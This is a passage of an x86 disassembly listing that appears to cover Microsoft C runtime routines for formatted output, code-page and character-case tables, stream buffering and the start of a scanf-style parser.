		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD1A4
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0F0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D1E0
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2660000h
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD2C0
		cmp	[ebp+var_18], 1
		mov	dword_4DD1A4, esi
		rep stosd
		stosb
		mov	dword_4DD3C4, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD2C1[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD2C0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D100[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D0E8[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD2C1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD1BC, 1
		push	eax
		mov	dword_4DD1A4, eax
		call	sub_42092C
		lea	esi, dword_43D0F4[esi]
		mov	edi, offset dword_4DD1B0
		movsd
		movsd
		pop	ecx
		mov	dword_4DD3C4, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD2C1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD3C4, eax
		mov	dword_4DD1BC, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD1BC, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD1B0
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE9C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE9C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE9C, 1
		jmp	near ptr 26509E9h
; ---------------------------------------------------------------------------
		db 0BBh
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE9C, 1
		jmp	near ptr 26509FDh
; ---------------------------------------------------------------------------
		db 11h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBEE4
		mov	dword_4DBE9C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD2C0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD1B0
		mov	dword_4DD1A4, eax
		mov	dword_4DD1BC, eax
		mov	dword_4DD3C4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD1A4
		nop
		call	near ptr 2660000h
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD3C4
		push	dword_4DD1A4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD1A4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD3C4
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD1A4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD3C4
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD2C1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD1C0[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD2C1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD1C0[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD2C1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD1C0[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD2C1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD1C0[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD3F4, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD3F4, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD1BC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD2C1[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBED4, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D0D4, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CEC8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CEC8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBED4
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBE30, ecx
		mov	eax, offset dword_43D1E0


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D348
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBE2C, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D1E4[edx*8]
		mov	dword_4DBE2C, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBE2C, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBE2C, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D5D8
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5F8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFFC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBEA0[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBEA0h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D0D4, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CEC8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
